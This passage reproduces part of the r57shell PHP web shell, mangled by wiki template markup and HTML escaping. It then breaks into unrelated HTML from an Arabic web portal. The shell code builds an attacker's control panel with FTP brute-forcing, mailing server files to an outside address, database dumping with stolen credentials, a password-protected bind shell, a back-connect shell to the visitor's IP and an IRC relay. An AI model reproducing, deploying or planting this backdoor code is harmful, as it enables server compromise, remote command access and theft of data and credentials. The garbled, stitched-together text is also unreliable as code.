 >',0,$dir).ws(4).in('submit','submit',0,$lang{{mediawiki.external(
 >'$language.\'_butt14\'')}})); $arh = $lang{{mediawiki.external('$
 >language.\'_text92\'')}}; if(@function_exists('gzcompress')) { $a
 >rh .= in('radio','compress',0,'zip').' zip'; } if(@function_exist
 >s('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip';
 > } if(@function_exists('bzcompress')) { $arh .= in('radio','compr
 >ess',0,'bzip').' bzip'; } echo sr(15,"<b>".$lang{{mediawiki.exter
 >nal('$language.\'_text91\'')}}.$arrow."</b>",in('radio','compress
 >',0,'none').' '.$arh); echo $te.'&lt;/div&gt;'.$table_end1.$fe; i
 >f(@function_exists("ftp_connect")){ echo $table_up1.$lang{{mediaw
 >iki.external('$language.\'_text93\'')}}.up_down('id17').$table_up
 >2.div('id17').$ts."".$fs."".$ts; echo "
1919    <div align="center" id="n">
1920      <font face="Verdana" size="-2"><b>".$lang{{mediawiki.extern
 >al('$language.\'_text87\'')}}."</b></font>
1921    </div>";
1922    <p>
1923      echo sr(25,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt88\'')}}.$arrow."</b>",in('text','ftp_server_port',45,(!empty($
 >_POST{{mediawiki.external('\'ftp_server_port\'')}})?($_POST{{medi
 >awiki.external('\'ftp_server_port\'')}}):("127.0.0.1:21")))); ech
 >o sr(25,"<b>".$lang{{mediawiki.external('$language.\'_text37\'')}
 >}.$arrow."</b>",in('text','ftp_login',45,(!empty($_POST{{mediawik
 >i.external('\'ftp_login\'')}})?($_POST{{mediawiki.external('\'ftp
 >_login\'')}}):("anonymous")))); echo sr(25,"<b>".$lang{{mediawiki
 >.external('$language.\'_text38\'')}}.$arrow."</b>",in('text','ftp
 >_password',45,(!empty($_POST{{mediawiki.external('\'ftp_password\
 >'')}})?($_POST{{mediawiki.external('\'ftp_password\'')}}):("billy
 >@microsoft.com")))); echo sr(25,"<b>".$lang{{mediawiki.external('
 >$language.\'_text89\'')}}.$arrow."</b>",in('text','ftp_file',45,(
 >!empty($_POST{{mediawiki.external('\'ftp_file\'')}})?($_POST{{med
 >iawiki.external('\'ftp_file\'')}}):("/ftp-dir/file"))).in('hidden
 >','cmd',0,'ftp_file_down')); echo sr(25,"<b>".$lang{{mediawiki.ex
 >ternal('$language.\'_text18\'')}}.$arrow."</b>",in('text','loc_fi
 >le',45,$dir)); echo sr(25,"<b>".$lang{{mediawiki.external('$langu
 >age.\'_text90\'')}}.$arrow."</b>","&lt;select name=ftp_mode&gt;&l
 >t;option&gt;FTP_BINARY&lt;/option&gt;&lt;option&gt;FTP_ASCII&lt;/
 >option&gt;&lt;/select&gt;".in('hidden','dir',0,$dir)); echo sr(25
 >,"",in('submit','submit',0,$lang{{mediawiki.external('$language.\
 >'_butt14\'')}}));
1924    </p>echo $te."".$fe.$fs."".$ts; echo "
1925    <div align="center" id="n">
1926      <font face="Verdana" size="-2"><b>".$lang{{mediawiki.extern
 >al('$language.\'_text100\'')}}."</b></font>
1927    </div>";
1928    <p>
1929      echo sr(25,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt88\'')}}.$arrow."</b>",in('text','ftp_server_port',45,(!empty($
 >_POST{{mediawiki.external('\'ftp_server_port\'')}})?($_POST{{medi
 >awiki.external('\'ftp_server_port\'')}}):("127.0.0.1:21")))); ech
 >o sr(25,"<b>".$lang{{mediawiki.external('$language.\'_text37\'')}
 >}.$arrow."</b>",in('text','ftp_login',45,(!empty($_POST{{mediawik
 >i.external('\'ftp_login\'')}})?($_POST{{mediawiki.external('\'ftp
 >_login\'')}}):("anonymous")))); echo sr(25,"<b>".$lang{{mediawiki
 >.external('$language.\'_text38\'')}}.$arrow."</b>",in('text','ftp
 >_password',45,(!empty($_POST{{mediawiki.external('\'ftp_password\
 >'')}})?($_POST{{mediawiki.external('\'ftp_password\'')}}):("billy
 >@microsoft.com")))); echo sr(25,"<b>".$lang{{mediawiki.external('
 >$language.\'_text18\'')}}.$arrow."</b>",in('text','loc_file',45,$
 >dir)); echo sr(25,"<b>".$lang{{mediawiki.external('$language.\'_t
 >ext89\'')}}.$arrow."</b>",in('text','ftp_file',45,(!empty($_POST{
 >{mediawiki.external('\'ftp_file\'')}})?($_POST{{mediawiki.externa
 >l('\'ftp_file\'')}}):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp
 >_file_up')); echo sr(25,"<b>".$lang{{mediawiki.external('$languag
 >e.\'_text90\'')}}.$arrow."</b>","&lt;select name=ftp_mode&gt;&lt;
 >option&gt;FTP_BINARY&lt;/option&gt;&lt;option&gt;FTP_ASCII&lt;/op
 >tion&gt;&lt;/select&gt;".in('hidden','dir',0,$dir)); echo sr(25,"
 >",in('submit','submit',0,$lang{{mediawiki.external('$language.\'_
 >butt2\'')}}));
1930    </p>echo $te."".$fe."&lt;/div&gt;";
1931    <p>
1932      } if($unix &amp;&amp; @function_exists("ftp_connect")){ ech
 >o $fs.$table_up1.$lang{{mediawiki.external('$language.\'_text94\'
 >')}}.up_down('id18').$table_up2.div('id18').$ts; echo sr(15,"<b>"
 >.$lang{{mediawiki.external('$language.\'_text88\'')}}.$arrow."</b
 >>",in('text','ftp_server_port',85,(!empty($_POST{{mediawiki.exter
 >nal('\'ftp_server_port\'')}})?($_POST{{mediawiki.external('\'ftp_
 >server_port\'')}}):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_br
 >ute').ws(4).in('submit','submit',0,$lang{{mediawiki.external('$la
 >nguage.\'_butt1\'')}})); echo sr(15,"","<font face="Verdana" size
 >="-2">".$lang{{mediawiki.external('$language.\'_text99\'')}}." ( 
 >&lt;a href=".$_SERVER{{mediawiki.external('\'PHP_SELF\'')}}."?use
 >rs&gt;".$lang{{mediawiki.external('$language.\'_text95\'')}}."&lt
 >;/a&gt; )</font>"); echo sr(15,"",in('checkbox','reverse id=rever
 >se',0,'1').$lang{{mediawiki.external('$language.\'_text101\'')}})
 >; echo $te.'&lt;/div&gt;'.$table_end1.$fe; } if(@function_exists(
 >"mail")){
1933    </p>echo $table_up1.$lang{{mediawiki.external('$language.\'_t
 >ext102\'')}}.up_down('id19').$table_up2.div('id19').$ts."".$fs.""
 >.$ts; echo "
1934    <div align="center" id="n">
1935      <font face="Verdana" size="-2"><b>".$lang{{mediawiki.extern
 >al('$language.\'_text103\'')}}."</b></font>
1936    </div>";
1937    <p>
1938      echo sr(25,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt105\'')}}.$arrow."</b>",in('text','to',45,(!empty($_POST{{media
 >wiki.external('\'to\'')}})?($_POST{{mediawiki.external('\'to\'')}
 >}):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden',
 >'dir',0,$dir)); echo sr(25,"<b>".$lang{{mediawiki.external('$lang
 >uage.\'_text106\'')}}.$arrow."</b>",in('text','from',45,(!empty($
 >_POST{{mediawiki.external('\'from\'')}})?($_POST{{mediawiki.exter
 >nal('\'from\'')}}):("billy@microsoft.com")))); echo sr(25,"<b>".$
 >lang{{mediawiki.external('$language.\'_text107\'')}}.$arrow."</b>
 >",in('text','subj',45,(!empty($_POST{{mediawiki.external('\'subj\
 >'')}})?($_POST{{mediawiki.external('\'subj\'')}}):("hello billy")
 >))); echo sr(25,"<b>".$lang{{mediawiki.external('$language.\'_tex
 >t108\'')}}.$arrow."</b>",'&lt;textarea name=text cols=33 rows=2&g
 >t;'.(!empty($_POST{{mediawiki.external('\'text\'')}})?($_POST{{me
 >diawiki.external('\'text\'')}}):("mail text here")).'&lt;/textare
 >a&gt;'); echo sr(25,"",in('submit','submit',0,$lang{{mediawiki.ex
 >ternal('$language.\'_butt15\'')}}));
1939    </p>echo $te."".$fe.$fs."".$ts; echo "
1940    <div align="center" id="n">
1941      <font face="Verdana" size="-2"><b>".$lang{{mediawiki.extern
 >al('$language.\'_text104\'')}}."</b></font>
1942    </div>";
1943    <p>
1944      echo sr(25,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt105\'')}}.$arrow."</b>",in('text','to',45,(!empty($_POST{{media
 >wiki.external('\'to\'')}})?($_POST{{mediawiki.external('\'to\'')}
 >}):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hid
 >den','dir',0,$dir)); echo sr(25,"<b>".$lang{{mediawiki.external('
 >$language.\'_text106\'')}}.$arrow."</b>",in('text','from',45,(!em
 >pty($_POST{{mediawiki.external('\'from\'')}})?($_POST{{mediawiki.
 >external('\'from\'')}}):("billy@microsoft.com")))); echo sr(25,"<
 >b>".$lang{{mediawiki.external('$language.\'_text107\'')}}.$arrow.
 >"</b>",in('text','subj',45,(!empty($_POST{{mediawiki.external('\'
 >subj\'')}})?($_POST{{mediawiki.external('\'subj\'')}}):("file fro
 >m r57shell")))); echo sr(25,"<b>".$lang{{mediawiki.external('$lan
 >guage.\'_text18\'')}}.$arrow."</b>",in('text','loc_file',45,$dir)
 >); echo sr(25,"<b>".$lang{{mediawiki.external('$language.\'_text9
 >1\'')}}.$arrow."</b>",in('radio','compress',0,'none').' '.$arh); 
 >echo sr(25,"",in('submit','submit',0,$lang{{mediawiki.external('$
 >language.\'_butt15\'')}}));
1945    </p>echo $te."".$fe."&lt;/div&gt;";
1946    <p>
1947      } if($mysql_on||$mssql_on||$pg_on||$ora_on) { $select = '&l
 >t;select name=db&gt;'; if($mysql_on) $select .= '&lt;option&gt;My
 >SQL&lt;/option&gt;'; if($mssql_on) $select .= '&lt;option&gt;MSSQ
 >L&lt;/option&gt;'; if($pg_on) $select .= '&lt;option&gt;PostgreSQ
 >L&lt;/option&gt;'; if($ora_on) $select .= '&lt;option&gt;Oracle&l
 >t;/option&gt;'; $select .= '&lt;/select&gt;';
1948    </p>echo $table_up1.$lang{{mediawiki.external('$language.\'_t
 >ext82\'')}}.up_down('id20').$table_up2.div('id20').$ts."".$fs."".
 >$ts; echo "
1949    <div align="center" id="n">
1950      <font face="Verdana" size="-2"><b>".$lang{{mediawiki.extern
 >al('$language.\'_text40\'')}}."</b></font>
1951    </div>";
1952    <p>
1953      echo sr(35,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt80\'')}}.$arrow."</b>",$select); echo sr(35,"<b>".$lang{{mediaw
 >iki.external('$language.\'_text111\'')}}.$arrow."</b>",in('text',
 >'db_server',15,(!empty($_POST{{mediawiki.external('\'db_server\''
 >)}})?($_POST{{mediawiki.external('\'db_server\'')}}):("localhost"
 >))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST{{mediawiki
 >.external('\'db_port\'')}})?($_POST{{mediawiki.external('\'db_por
 >t\'')}}):("3306")))); echo sr(35,"<b>".$lang{{mediawiki.external(
 >'$language.\'_text37\'')}}.'&nbsp;: '.$lang{{mediawiki.external('
 >$language.\'_text38\'')}}.$arrow."</b>",in('text','mysql_l',15,(!
 >empty($_POST{{mediawiki.external('\'mysql_l\'')}})?($_POST{{media
 >wiki.external('\'mysql_l\'')}}):("root"))).' <b>:</b> '.in('text'
 >,'mysql_p',15,(!empty($_POST{{mediawiki.external('\'mysql_p\'')}}
 >)?($_POST{{mediawiki.external('\'mysql_p\'')}}):("password")))); 
 >echo sr(35,"<b>".$lang{{mediawiki.external('$language.\'_text36\'
 >')}}.$arrow."</b>",in('text','mysql_db',15,(!empty($_POST{{mediaw
 >iki.external('\'mysql_db\'')}})?($_POST{{mediawiki.external('\'my
 >sql_db\'')}}):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(
 >!empty($_POST{{mediawiki.external('\'mysql_tbl\'')}})?($_POST{{me
 >diawiki.external('\'mysql_tbl\'')}}):("user")))); echo sr(35,in('
 >hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$la
 >ng{{mediawiki.external('$language.\'_text41\'')}}.$arrow."</b>",i
 >n('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty(
 >$_POST{{mediawiki.external('\'dif_name\'')}})?($_POST{{mediawiki.
 >external('\'dif_name\'')}}):("dump.sql")))); echo sr(35,"",in('su
 >bmit','submit',0,$lang{{mediawiki.external('$language.\'_butt9\''
 >)}}));
1954    </p>echo $te."".$fe.$fs."".$ts; echo "
1955    <div align="center" id="n">
1956      <font face="Verdana" size="-2"><b>".$lang{{mediawiki.extern
 >al('$language.\'_text83\'')}}."</b></font>
1957    </div>";
1958    <p>
1959      echo sr(35,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt80\'')}}.$arrow."</b>",$select); echo sr(35,"<b>".$lang{{mediaw
 >iki.external('$language.\'_text111\'')}}.$arrow."</b>",in('text',
 >'db_server',15,(!empty($_POST{{mediawiki.external('\'db_server\''
 >)}})?($_POST{{mediawiki.external('\'db_server\'')}}):("localhost"
 >))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST{{mediawiki
 >.external('\'db_port\'')}})?($_POST{{mediawiki.external('\'db_por
 >t\'')}}):("3306")))); echo sr(35,"<b>".$lang{{mediawiki.external(
 >'$language.\'_text37\'')}}.'&nbsp;: '.$lang{{mediawiki.external('
 >$language.\'_text38\'')}}.$arrow."</b>",in('text','mysql_l',15,(!
 >empty($_POST{{mediawiki.external('\'mysql_l\'')}})?($_POST{{media
 >wiki.external('\'mysql_l\'')}}):("root"))).' <b>:</b> '.in('text'
 >,'mysql_p',15,(!empty($_POST{{mediawiki.external('\'mysql_p\'')}}
 >)?($_POST{{mediawiki.external('\'mysql_p\'')}}):("password")))); 
 >echo sr(35,"<b>".$lang{{mediawiki.external('$language.\'_text39\'
 >')}}.$arrow."</b>",in('text','mysql_db',15,(!empty($_POST{{mediaw
 >iki.external('\'mysql_db\'')}})?($_POST{{mediawiki.external('\'my
 >sql_db\'')}}):("mysql")))); echo sr(35,"<b>".$lang{{mediawiki.ext
 >ernal('$language.\'_text84\'')}}.$arrow."</b>".in('hidden','dir',
 >0,$dir).in('hidden','cmd',0,'db_query'),"");
1960    </p>echo $te."
1961    <div align="center" id="n">
1962      &lt;textarea cols=55 rows=1 name=db_query&gt;".(!empty($_PO
 >ST{{mediawiki.external('\'db_query\'')}})?($_POST{{mediawiki.exte
 >rnal('\'db_query\'')}}):("SHOW DATABASES; SELECT * FROM user; SEL
 >ECT version(); select user();"))."&lt;/textarea&gt;<br>
1963      ".in('submit','submit',0,$lang{{mediawiki.external('$langua
 >ge.\'_butt1\'')}})."
1964    </div>".$fe."&lt;/div&gt;";
1965    <p>
1966      } if(!$safe_mode&amp;&amp;!$windows){
1967    </p>echo $table_up1.$lang{{mediawiki.external('$language.\'_t
 >ext81\'')}}.up_down('id21').$table_up2.div('id21').$ts."".$fs."".
 >$ts; echo "<font face="Verdana" size="-2">&lt;b&gt;</font>
1968    <div align="center" id="n">
1969      <font face="Verdana" size="-2">".$lang{{mediawiki.external(
 >'$language.\'_text9\'')}}."</font>
1970    </div><font face="Verdana" size="-2">&lt;/b&gt;</font>";
1971    <p>
1972      echo sr(40,"&lt;b&gt;".$lang{{mediawiki.external('$language
 >.\'_text10\'')}}.$arrow."",in('text','port',15,'11457')); echo sr
 >(40,"<b>".$lang{{mediawiki.external('$language.\'_text11\'')}}.$a
 >rrow."</b>",in('text','bind_pass',15,'r57')); echo sr(40,"<b>".$l
 >ang{{mediawiki.external('$language.\'_text20\'')}}.$arrow."</b>",
 >"&lt;select size=\"1\" name=\"use\"&gt;&lt;option value=\"Perl\"&
 >gt;Perl&lt;/option&gt;&lt;option value=\"C\"&gt;C&lt;/option&gt;&
 >lt;/select&gt;".in('hidden','dir',0,$dir)); echo sr(40,"",in('sub
 >mit','submit',0,$lang{{mediawiki.external('$language.\'_butt3\'')
 >}}));
1973    </p>echo $te."&lt;/td&gt;".$fe.$fs."".$ts; echo "
1974    <div align="center" id="n">
1975      <font face="Verdana" size="-2"><b>".$lang{{mediawiki.extern
 >al('$language.\'_text12\'')}}."</b></font>
1976    </div>";
1977    <p>
1978      echo sr(40,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt13\'')}}.$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR'
 >))&nbsp;? (getenv('REMOTE_ADDR'))&nbsp;: ("127.0.0.1")))); echo s
 >r(40,"<b>".$lang{{mediawiki.external('$language.\'_text14\'')}}.$
 >arrow."</b>",in('text','port',15,'11457')); echo sr(40,"<b>".$lan
 >g{{mediawiki.external('$language.\'_text20\'')}}.$arrow."</b>","&
 >lt;select size=\"1\" name=\"use\"&gt;&lt;option value=\"Perl\"&gt
 >;Perl&lt;/option&gt;&lt;option value=\"C\"&gt;C&lt;/option&gt;&lt
 >;/select&gt;".in('hidden','dir',0,$dir)); echo sr(40,"",in('submi
 >t','submit',0,$lang{{mediawiki.external('$language.\'_butt4\'')}}
 >));
1979    </p>echo $te."".$fe.$fs."".$ts; echo "
1980    <div align="center" id="n">
1981      <font face="Verdana" size="-2"><b>".$lang{{mediawiki.extern
 >al('$language.\'_text22\'')}}."</b></font>
1982    </div>";
1983    <p>
1984      echo sr(40,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt23\'')}}.$arrow."</b>",in('text','local_port',15,'11457')); ech
 >o sr(40,"<b>".$lang{{mediawiki.external('$language.\'_text24\'')}
 >}.$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); ech
 >o sr(40,"<b>".$lang{{mediawiki.external('$language.\'_text25\'')}
 >}.$arrow."</b>",in('text','remote_port',15,'6667')); echo sr(40,"
 ><b>".$lang{{mediawiki.external('$language.\'_text26\'')}}.$arrow.
 >"</b>","&lt;select size=\"1\" name=\"use\"&gt;&lt;option value=\"
 >Perl\"&gt;datapipe.pl&lt;/option&gt;&lt;option value=\"C\"&gt;dat
 >apipe.c&lt;/option&gt;&lt;/select&gt;".in('hidden','dir',0,$dir))
 >; echo sr(40,"",in('submit','submit',0,$lang{{mediawiki.external(
 >'$language.\'_butt5\'')}}));
1985    </p>echo $te."".$fe."&lt;/tr&gt;&lt;/div&gt;&lt;/table&gt;"; 
 >} echo '&lt;/table&gt;'.$table_up3."&lt;/div&gt;&lt;/div&gt;
1986    <div align="center" id="n">
1987      <font face="Verdana" size="-2"><b>o---[ r57shell - http-she
 >ll by RST/GHC | &lt;a href=http://rst.void.ru&gt;http://rst.void.
 >ru&lt;/a&gt; | &lt;a href=http://ghc.ru&gt;http://ghc.ru&lt;/a&gt
 >; | version ".$version." ]---o</b></font>
1988    </div>&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;".$f;
1989    <p>
1990      ?&gt; &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Trans
 >itional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&
 >gt; &lt;head&gt; &lt;Script language='JavaScript'&gt; <span class
 >="comment">isPDA = (navigator.appVersion.indexOf("Windows CE")&nb
 >sp;!= -1)&nbsp;? true&nbsp;: false; if (isPDA == true){ document.
 >write("&lt;meta http-equiv=REFRESH content=\"0\;URL=http://mobile
 >.naseej.com\"&gt;"); }</span> &lt;/Script&gt; &lt;TITLE&gt;{{medi
 >awiki.external('Naseej - نسيج')}}&lt;/TITLE&gt; &lt;META HTTP-EQU
 >IV="Pragma" CONTENT="no-cache"&gt; &lt;META HTTP-EQUIV="Expires" 
 >CONTENT="0"&gt; &lt;META HTTP-EQUIV="Content-Type" CONTENT="text/
 >html; charset=windows-1256"&gt; &lt;META NAME="keywords" CONTENT=
 >"Arab,Arabic,Arabian,Islam,Islamic,Muslim,news,travel,business,Co
 >mputer,Magazine,Educatioon,Reference,prayer,aljazeera,alarabiya,d
 >irectory,website,sports,arabicpapers,carecateure,prayer,date, wea
 >ther,cities,email,mail,papers,press,sports,islam,islamic,tips,boo
 >ks,ecomony,culture, العربية، الجزيرة العربية، جريدة ، الرياض، إسل
 >ام،العربي،العرب ،الوطن،عرب,عربي,عربية,العربية,إسلام,إسلامية،أخبار
 >,اخبار,العربي,اقتصاد, رياضة,سياحة,ترفية,طب,ثقافة,العاب,وكالة,وكال
 >ات,مجلات,صحف,جريدة,اصدار, قاموس,قواعد,حاسب,حاسوب,كمبيوتر,انترنت، 
 >عالم، حواء، الرياضية،الاسلام اليوم،الشبكة، الاسلامية، "&gt; &lt;M
 >ETA NAME="description" CONTENT="Naseej is an information network 
 >established to provide information services to the Arabic Interne
 >t users around the world, and brother Muslims, seeking informatio
 >n related to the region and Islam."&gt;
1991    </p>
1992    <p>
1993      &lt;style type="text/css" media="screen"&gt;@import "http:/
 >/img.naseej.com/images/main/nabd.css";&lt;/style&gt;
1994    </p>
1995    <p>
1996      &lt;!link rel="stylesheet" href="http://img.naseej.com/nase
 >ej2005/css/SpeedMain.css" type="text/css"&gt;
1997    </p>
1998    <p>
1999      &lt;link rel="stylesheet" href="http://img.naseej.com/nasee
 >j2005/css/Speedmain_SpaceBanner.css" type="text/css"&gt;
2000    </p>
2001    <p>
2002      &lt;/head&gt; &lt;body&gt; &lt;!iframe src="http://www.nase
 >ej.com/Detail.asp?InServiceID=25&amp;InTemplateKey=popup01" width
 >="0" height="0" marginwidth="0" marginheight="0" align="top" scro
 >lling="no" frameborder="0"&gt;&lt;/iframe&gt;
2003    </p>
2004    <div id="Header">
2005      <table cellpadding="0" cellspacing="0">
2006        <tbody>
2007          <tr>
2008            <td>
2009              &lt;IMG SRC="http://img.naseej.com/newnasmain/nasee
 >jnew_header_01.gif" border="0" WIDTH=231 HEIGHT=89 ALT=""&gt;
2010            </td>
2011            <td width="100%">
2012              &lt;IMG SRC="http://img.naseej.com/newnasmain/nasee
 >jnew_header_02.gif" border="0" HEIGHT=89 ALT=""&gt;
2013            </td>
2014            <td>
2015              &lt;a href="http://naseejoha.naseej.com/"&gt;&lt;IM
 >G SRC="http://img.naseej.com/newnasmain/naseejnew_header_03.gif" 
 >border="0" WIDTH=64 HEIGHT=89 ALT=""&gt;&lt;/a&gt;
2016            </td>
2017            <td>
2018              &lt;a href="http://islamic.naseej.com"&gt;&lt;IMG S
 >RC="http://img.naseej.com/newnasmain/naseejnew_header_04.gif" bor
 >der="0" WIDTH=60 HEIGHT=89 ALT=""&gt;&lt;/a&gt;
2019            </td>
2020            <td>
2021              &lt;a href="http://sports.naseej.com/"&gt;&lt;IMG S
 >RC="http://img.naseej.com/newnasmain/naseejnew_header_05.gif" bor
 >der="0" WIDTH=60 HEIGHT=89 ALT=""&gt;&lt;/a&gt;
2022            </td>
2023            <td>
2024              &lt;a href="http://news.naseej.com/"&gt;&lt;IMG SRC
 >="http://img.naseej.com/newnasmain/naseejnew_header_06.gif" borde
 >r="0" WIDTH=60 HEIGHT=89 ALT=""&gt;&lt;/a&gt;
2025            </td>
2026            <td>
2027              &lt;a href="http://forums.naseej.com/"&gt;&lt;IMG S
 >RC="http://img.naseej.com/newnasmain/naseejnew_header_07.gif" bor
 >der="0" WIDTH=59 HEIGHT=89 ALT=""&gt;&lt;/a&gt;
2028            </td>
2029            <td>
2030              &lt;a href="http://directory.naseej.com/"&gt;&lt;IM
 >G SRC="http://img.naseej.com/newnasmain/naseejnew_header_08.gif" 
 >border="0" WIDTH=60 HEIGHT=89 ALT=""&gt;&lt;/a&gt;
2031            </td>
2032            <td>
2033              &lt;a href="http://mail.naseej.com/"&gt;&lt;IMG SRC
 >="http://img.naseej.com/newnasmain/naseejnew_header_09.gif" borde
 >r="0" WIDTH=58 HEIGHT=89 ALT=""&gt;&lt;/a&gt;
2034            </td>
2035          </tr>
2036        </tbody>
2037      </table>
2038    </div>
2039    <div id="VSpace5"></div>
2040    <div id="TopAdDiv">
2041      <table cellpadding="0" cellspacing="0" id="TopAd">
2042        <tbody>
2043          <tr>
2044            <td id="TopAdLeft">
2045              <p>
2046                <font color="red" size="3"><b>&lt;a href="http://
 >sports.naseej.com/AllPlayersRank_Champ.aspx?ChampID=709" &gt;ترتي
 >ب الهدافين في المونديال&lt;/a&gt;</b></font>
2047              </p>
2048            </td>
2049            <td id="TopAdCenter">
2050              &lt;iframe src="http://www.naseej.com/adsiframe/mai
 >n/BigBanner.html" name="TopAd" id="date" width="100%" marginwidth
 >="0" height="60" marginheight="0" align="center" scrolling="no" f
 >rameborder="0"&gt;&lt;/iframe&gt;
2051            </td>
2052            <td id="TopAdRight">
2053              <p>
2054                <font color="red" size="3"><b>&lt;a href="http://
 >sports.naseej.com/Champ.aspx?ChampID=709" &gt;مجموعات كأس العالم&
 >lt;/a&gt;</b></font>
2055              </p>
2056            </td>
2057          </tr>
2058        </tbody>
2059      </table>
2060    </div>
2061    <div id="VSpace5"></div>
2062    <div>
2063      <table border="0" cellpadding="0" cellspacing="0" width="78
 >0">
2064        <tbody>
2065          <tr>
2066            <td>
2067              &lt;FORM action=http://mail2.naseej.com/MBX/ID=39F7
 >989E
2068              <pre class="eval">
2069                   method=post&gt;&lt;INPUT type=hidden value=/MB
 >X/ID=39F7989E 
2070                   name=RequestURL&gt; &lt;INPUT type=hidden name
 >=SaveUser&gt; &lt;INPUT 
2071                   type=hidden value=DoItNow name=DoLogin&gt;
2072</pre>&lt;/form&gt;
2073              <table bgcolor="#EFEFEF" border="0" cellpadding="0"
 > cellspacing="0" style="border: 2px solid #DEDEDE;" width="100%">
2074                <tbody>
2075                  <tr>
2076                    <td style="padding: 0px 5px 0px 0px;"></td>
2077                    <td align="center">
2078                      &lt;a href="http://signup.naseej.com/"&gt;<
 >font style="font-size:12px; font-family:Times New Roman;"><font s
 >tyle="font-size:11px; font-family:tahoma;"><font color="red"><str
 >ong>للاشتراك</strong></font></font></font>&lt;/a&gt;
2079                    </td>
2080                    <td style="padding: 0px 5px 0px 0px;"></td>
2081                    <td height="26">
2082                      &lt;input type="submit" name="DoLogin" valu
 >e=" دخـول " style="color:#0020A3; font-family:tahoma; font-size:1
 >1px; border: 1px solid #04175C; font-weight: bold; bgcolor=#D4D0C
 >8; cursor: hand;"&gt;
2083                    </td>
2084                    <td style="padding: 0px 5px 0px 0px;"></td>
2085                    <td align="center">
2086                      &lt;input type="password" tabindex="2" valu
 >e="كلمة السر" name="Password" onFocus=(value="") size="10" maxlen
 >gth="50" style="border: 1px solid #04175C; font-family: Times New
 > Roman; color:#0020A3; font-size: 14px; background: ThreedHighlig
 >ht;"&gt;
2087